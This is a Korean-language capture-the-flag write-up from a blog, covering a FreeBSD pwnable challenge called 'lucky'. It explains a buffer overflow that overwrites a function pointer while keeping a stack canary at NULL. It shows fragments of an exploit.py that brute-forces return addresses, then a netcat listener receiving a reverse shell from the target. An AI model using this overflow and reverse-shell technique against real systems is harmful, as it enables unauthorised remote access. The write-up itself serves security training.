Category : Pwnables
[pwn3r@localhost p200]$ nc 192.168.123.134 7466 ================================
Summary : Overwriting function pointer by overflow vulnerability
Connect to Server.
==== LuckyGuy Hall Of Frame ====
Try your fortune!
What number is next? 1234
Wrong~~ Current Number is 994068131
Binary Info.
[pwn3r@localhost p200]$ file lucky lucky: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), for FreeBSD 6.3, not stripped |
stripped 되지않은 FreeBSD binary이다. Hex-Ray를 이용해 편리하게 분석할 수 있다.
void __cdecl main() v0 = alloca(16); |
main에서는 client가 접속하면 rand함수로 난수를 생성하고 client_handler 함수를 호출하면서 난수를 인자로 넘겨준다.
int __cdecl client_handler(int rand_var) canary = 0; |
client_handler함수는 단순히 read함수로 문자열을 입력받고 문자열을 atoi함수의 인자로 사용한 결과값과 main함수에서 호출될 때 인자로 받은 난수와 비교한다.
이때 read함수로 버퍼크기 이상의 데이터를 입력받아 overflow취약점이 발생한다.
이로인해 client_handler함수의 리턴어드레스와 전함수로부터 인자로받은 난수까지도 조작이 가능해진다.
난수와 입력값의 atoi함수 실행값을 같은수로 조작한다면 add_hof함수가 호출되도록 할 수 있다.
두수가 같은시에 호출되는 add_hof함수도 살펴본다.
int __cdecl add_hof() canary = 0; |
add_hof함수에서도 변수크기이상의 데이터를 입력받음으로써 overflow취약점이 발생한다.
많은 데이터를 입력받지않아 리턴어드레스까지 덮어줄순 없지만 fwrite 함수를 가르키는 함수포인터를 덮어줄 수 있다.
client_handler함수의 리턴어드레스를 덮어주든 , add_hof함수에서 함수포인터를 덮어주던 eip를 조작할 수 있기때문에 add_hof함수에서 함수포인터를 오버라이팅 하도록한다.
한가지 주의할점은 지역변수에 선언된 canary변수가 NULL이 아니면 exit함수를 호출해 종료시키기 때문에 canary를 덮게된다면 NULL로 덮어주어야한다.
dup2함수로 표준입출력 디스크립터를 소켓디스크립터에 복제했기때문에 단순히 execve("/bin/sh",......)을 실행하는 쉘코드로도 쉘을 얻을 수 있지만 개인적으로 선호하는 리버스커넥션 쉘코드를 사용하기로했다.
exploit.py |
#!/usr/bin/python from socket import * for ret in range(0xbfbfeb00 , 0xbfbff000 , 6): |
[pwn3r@localhost p200]$ ./exploit.py & nc -lv 4444 [1] 12494 Connection from 192.168.123.134 port 4444 [tcp/krb524] accepted id uid=1001(luckyguy) gid=1001(luckyguy) groups=1001(luckyguy) ls -l total 28 -rw-r--r-- 1 luckyguy luckyguy 219 Sep 15 18:39 LuckyGuy -rwxr-xr-x 1 luckyguy luckyguy 11218 Sep 14 05:34 lucky |
Pwned :)
'CTF' 카테고리의 다른 글
ISEC 2010 본선 CTF - sonic (0) | 2011.10.14 |
---|---|
ISEC 2010 본선 CTF - skeleton (0) | 2011.10.13 |
2011 HUST Hacking Festival - M (0) | 2011.10.03 |
2011 HUST Hacking Festival - K (0) | 2011.10.03 |
CSAW CTF Quals 2011 - bin3 (0) | 2011.09.27 |